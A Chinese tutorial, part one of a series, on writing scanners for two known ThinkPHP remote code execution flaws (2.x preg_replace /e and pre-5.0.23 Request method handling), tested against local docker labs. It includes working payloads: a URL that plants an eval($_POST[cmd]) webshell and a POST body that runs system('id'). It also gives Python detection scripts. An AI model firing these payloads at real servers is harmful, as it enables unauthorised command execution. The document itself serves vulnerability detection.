Thinkphp框架相关漏洞扫描器(一)
前言
Thinkphp框架中存在很多漏洞,因此编写漏洞扫描器来检测漏洞很有必要
漏洞介绍(2.x版本)
ThinkPHP 2.x版本中存在一个远程代码执行漏洞。
在ThinkPHP 2.x版本中,框架使用
preg_replace
的/e
模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这个实现导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。值得注意的是,ThinkPHP 3.0版本在Lite模式下也存在这个漏洞,因为这个问题在该模式下并未被修复。
环境搭建
执行如下命令启动ThinkPHP 2.1:
docker compose up -d
环境启动后,访问http://127.0.0.1:8081/即可查看到默认页面。
漏洞复现
通过URL参数注入PHP代码来利用此漏洞。直接访问
http://your-ip:8080/index.php?s=/index/index/name/${@phpinfo()}
,服务器将执行phpinfo()
函数,证明远程代码执行漏洞利用成功:
核心
POC:
/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}
preg_relace("正则规则","替换字符","目标字符")$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
代码
import requests
from urllib.parse import urljoindef thinkphp_2x_scan(url):payload = "?s=/handsome/jing/zi/${var_dump(md5(Mirror))}"url = urljoin(url, payload)response = requests.get(url=url)# 判断 md5(handsome_Mirror) 在数据包中是否存在if '2403def5083f02105e7802b3b315681e' in response.text:print(response.text)print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':urls = 'http://127.0.0.1:8081/'thinkphp_2x_scan(urls)
漏洞介绍(5.0.23版本)
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
环境搭建
执行如下命令启动一个默认的thinkphp 5.0.23环境:
docker compose up -d
环境启动后,访问 http://127.0.0.1:8082/ 即可看到默认的ThinkPHP启动页面。
漏洞复现
发送数据包:
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
代码
import requests
from urllib.parse import urljoinheaders = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0','Content-Type': 'application/x-www-form-urlencoded',
}def thinkphp_5_0_23_scan(url):payload = r'_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1'path = '/index.php?s=captcha'target = urljoin(url, path)response = requests.post(url=target, data=payload, headers=headers, verify=False)# print(response.text)if "PHP Version" in response.text:print("漏洞存在")else:print("漏洞不存在")if __name__ == '__main__':urls = "http://127.0.0.1:8082"thinkphp_5_0_23_scan(urls)